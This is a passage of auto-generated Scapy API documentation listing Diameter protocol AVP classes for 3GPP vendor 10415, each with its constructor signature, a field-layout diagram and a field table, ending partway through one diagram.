class scapy.contrib.diameter.AVP_10415_1632(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2928-L2933]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1632                        


AVP_10415_1632 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1633(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2936-L2940]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1633                        


AVP_10415_1633 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1634(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2943-L2946]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1634                        


AVP_10415_1634 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1636(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2949-L2953]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1636                        


AVP_10415_1636 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1643(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=None, avpVnd=0, val=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L864-L867]

	Bases: AVP_VL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              VAL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1643                        


AVP_10415_1643 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	I3FieldLenField

	None



	avpVnd

	AVPVendor

	0



	val

	ISDN

	b''















	
class scapy.contrib.diameter.AVP_10415_1648(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2956-L2961]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1648                        


AVP_10415_1648 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_1650(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2964-L2969]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_1650                        


AVP_10415_1650 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2006(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2972-L2986]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2006                        


AVP_10415_2006 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2007(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2989-L2993]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2007                        


AVP_10415_2007 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2011(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L2996-L2999]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2011                        


AVP_10415_2011 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2016(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3002-L3007]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2016                        


AVP_10415_2016 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2025(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3010-L3024]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2025                        


AVP_10415_2025 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2029(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3027-L3047]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2029                        


AVP_10415_2029 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2033(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3050-L3054]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2033                        


AVP_10415_2033 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2036(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3057-L3061]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2036                        


AVP_10415_2036 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2047(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3064-L3069]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2047                        


AVP_10415_2047 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2049(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3072-L3077]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2049                        


AVP_10415_2049 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2051(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3080-L3084]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2051                        


AVP_10415_2051 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2065(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3087-L3091]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_2065                        


AVP_10415_2065 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_2066(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3094-L3109]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
